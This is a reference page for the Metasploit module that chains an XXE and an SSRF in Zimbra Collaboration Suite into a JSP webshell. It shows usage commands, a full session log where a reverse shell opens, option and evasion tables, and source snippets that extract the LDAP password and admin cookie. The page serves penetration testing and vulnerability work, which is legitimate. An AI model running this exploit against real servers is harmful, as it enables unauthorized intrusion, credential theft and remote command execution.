Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF - Metasploit
This page contains detailed information about how to use the exploit/linux/http/zimbra_xxe_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF
Module: exploit/linux/http/zimbra_xxe_rce
Source code: modules/exploits/linux/http/zimbra_xxe_rce.rb
Disclosure date: 2019-03-13
Last modification time: 2019-04-01 17:21:23 +0000
Supported architecture(s): java
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-9621, CVE-2019-9670
This module exploits an XML external entity vulnerability and a server side request forgery to get unauthenticated code execution on Zimbra Collaboration Suite. The XML external entity vulnerability in the Autodiscover Servlet is used to read a Zimbra configuration file that contains an LDAP password for the 'zimbra' account. The zimbra credentials are then used to get a user authentication cookie with an AuthRequest message. Using the user cookie, a server side request forgery in the Proxy Servlet is used to proxy an AuthRequest with the 'zimbra' credentials to the admin port to retrieve an admin cookie. After gaining an admin cookie the Client Upload servlet is used to upload a JSP webshell that can be triggered from the web server to get command execution on the host. The issues reportedly affect Zimbra Collaboration Suite v8.5 to v8.7.11. This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/http/zimbra_xxe_rce
msf exploit(zimbra_xxe_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits an XML external entity vulnerability and a server side request forgery to get unauthenticated code execution on Zimbra Collaboration Suite. The XML external entity vulnerability in the Autodiscover Servlet is used to read a Zimbra configuration file that contains an LDAP password for the 'zimbra' account. The zimbra credentials are then used to get a user authentication cookie with an AuthRequest message. Using the user cookie, a server side request forgery in the Proxy Servlet is used to proxy an AuthRequest with the 'zimbra' credentials to the admin port to retrieve an admin cookie. After gaining an admin cookie the ClientUploader is used to upload a JSP webshell that can be triggered from the web server to get command execution on the host. The issues reportedly affect Zimbra Collaboration Suite v8.5 to v8.7.11. This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition.
Vulnerable Application
Zimbra Collaboration Suite v8.5 to v8.7.11.
Verification Steps
./msfconsole -quse exploit/linux/http/zimbra_xxe_rceset rhosts <rhost>set lhost <lhost>exploit
Scenarios
Zimbra 8.7.1 GA 1670 FOSS edition Tested on Ubuntu 16.04.6 LTS
msf5 exploit(linux/http/zimbra_xxe_rce) > exploit
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] Using URL: http://0.0.0.0:8080/2tQ75DxRvaeGRSP
[*] Local IP: http://192.168.171.150:8080/2tQ75DxRvaeGRSP
[*] Server started.
[+] Password found: Syz7fOPJI
[+] User cookie retrieved: ZM_AUTH_TOKEN=0_c6df3ed73afbefd7eff40eb9f6999794ebf764b5_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313535343239343539303239353b747970653d363a7a696d6272613b753d313a613b7469643d393a3538303338373138373b;
[+] Admin cookie retrieved: ZM_ADMIN_AUTH_TOKEN=0_c1c8a6c715eb8f55c14aa63e82a8ff64e4fbe279_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313535343136343939303333353b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d383a36303437383736333b;
[*] Uploading jsp shell
[*] Executing payload on /downloads/XFlHBolHjLB.jsp
[*] Command shell session 1 opened (172.22.222.136:4444 -> 172.22.222.111:53746) at 2019-04-01 07:29:51 -0500
[*] Server stopped.
whoami
zimbra
uname -a
Linux zimbra.mylocaldomain.local 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
../bin/zmcontrol -v
Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition.
exit
[*] 172.22.222.111 - Command shell session 1 closed.
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Msfconsole Usage
Here is how the linux/http/zimbra_xxe_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/zimbra_xxe_rce
[*] Using configured payload java/jsp_shell_reverse_tcp
msf6 exploit(linux/http/zimbra_xxe_rce) > show info
Name: Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF
Module: exploit/linux/http/zimbra_xxe_rce
Platform: Linux
Arch: java
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-03-13
Provided by:
An Trinh
Khanh Viet Pham
Jacob Robles
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Number of seconds the web server will wait before termination
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Zimbra application base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an XML external entity vulnerability and a
server side request forgery to get unauthenticated code execution on
Zimbra Collaboration Suite. The XML external entity vulnerability in
the Autodiscover Servlet is used to read a Zimbra configuration file
that contains an LDAP password for the 'zimbra' account. The zimbra
credentials are then used to get a user authentication cookie with
an AuthRequest message. Using the user cookie, a server side request
forgery in the Proxy Servlet is used to proxy an AuthRequest with
the 'zimbra' credentials to the admin port to retrieve an admin
cookie. After gaining an admin cookie the Client Upload servlet is
used to upload a JSP webshell that can be triggered from the web
server to get command execution on the host. The issues reportedly
affect Zimbra Collaboration Suite v8.5 to v8.7.11. This module was
tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64
FOSS edition.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-9670
https://nvd.nist.gov/vuln/detail/CVE-2019-9621
https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
Module Options
This is a complete list of options available in the linux/http/zimbra_xxe_rce exploit:
msf6 exploit(linux/http/zimbra_xxe_rce) > show options
Module options (exploit/linux/http/zimbra_xxe_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Number of seconds the web server will wait before termination
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Zimbra application base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/zimbra_xxe_rce exploit:
msf6 exploit(linux/http/zimbra_xxe_rce) > show advanced
Module advanced options (exploit/linux/http/zimbra_xxe_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/zimbra_xxe_rce module can exploit:
msf6 exploit(linux/http/zimbra_xxe_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/zimbra_xxe_rce exploit:
msf6 exploit(linux/http/zimbra_xxe_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/zimbra_xxe_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/zimbra_xxe_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Request failed
Here is a relevant code snippet related to the "Request failed" error message:
71: 'method' => 'POST',
72: 'uri' => normalize_uri(target_uri, '/autodiscover'),
73: 'encode_params' => false,
74: 'data' => data
75: })
76: fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
77: res
78: end
79:
80: def soap_discover(check_soap=false)
81: xml = REXML::Document.new
Request failed
Here is a relevant code snippet related to the "Request failed" error message:
143: res = send_request_cgi({
144: 'method' => 'POST',
145: 'uri' => normalize_uri(target_uri, '/service/soap/'),
146: 'data' => data
147: })
148: fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
149: res
150: end
151:
152: def proxy_req(data, auth_cookie)
153: target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"
Request failed
Here is a relevant code snippet related to the "Request failed" error message:
157: 'vars_get' => {'target' => target},
158: 'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",
159: 'data' => data,
160: 'headers' => {'Host' => "#{datastore['RHOST']}:7071"}
161: })
162: fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
163: res
164: end
165:
166: def upload_file(file_name, contents, cookie)
167: data = Rex::MIME::Message.new
Password not found
Here is a relevant code snippet related to the "Password not found" error message:
206: end
207:
208: def primer
209: datastore['SSL'] = @ssl
210: res = xxe_req(soap_discover)
211: fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m
212: password = $1
213: username = 'zimbra'
214:
215: print_good("Password found: #{password}")
216:
Failed to authenticate
Here is a relevant code snippet related to the "Failed to authenticate" error message:
215: print_good("Password found: #{password}")
216:
217: data = soap_auth(username, password, false)
218: res = cookie_req(data)
219:
220: fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/
221: auth_cookie = $1
222:
223: print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")
224:
225: data = soap_auth(username, password)
Failed to authenticate
Here is a relevant code snippet related to the "Failed to authenticate" error message:
223: print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")
224:
225: data = soap_auth(username, password)
226: res = proxy_req(data, auth_cookie)
227:
228: fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/
229: admin_cookie = $1
230:
231: print_good("Admin cookie retrieved: #{admin_cookie}")
232:
233: stager_name = "#{rand_text_alpha(8..16)}.jsp"
<PEER> - Unable to upload stager
Here is a relevant code snippet related to the "<PEER> - Unable to upload stager" error message:
232:
233: stager_name = "#{rand_text_alpha(8..16)}.jsp"
234: print_status('Uploading jsp shell')
235: res = upload_file(stager_name, payload.encoded, admin_cookie)
236:
237: fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200
238: # Only shell sessions are supported
239: register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)")
240: register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)")
241: register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)")
242: register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)")
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Related Pull Requests
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/zimbra_cpio_cve_2022_41352
- exploit/linux/http/zimbra_mboximport_cve_2022_27925
- exploit/linux/http/zimbra_unrar_cve_2022_30333
- exploit/linux/local/zimbra_postfix_priv_esc
- exploit/linux/local/zimbra_slapper_priv_esc
- exploit/unix/webapp/zimbra_lfi
- auxiliary/admin/http/nexpose_xxe_file_read
- auxiliary/admin/http/openbravo_xxe
- auxiliary/admin/sap/sap_igs_xmlchart_xxe
- auxiliary/gather/drupal_openid_xxe
- auxiliary/gather/emc_cta_xxe
- auxiliary/gather/mcafee_epo_xxe
- auxiliary/gather/opennms_xxe
Related Nessus plugins:
Authors
- An Trinh
- Khanh Viet Pham
- Jacob Robles
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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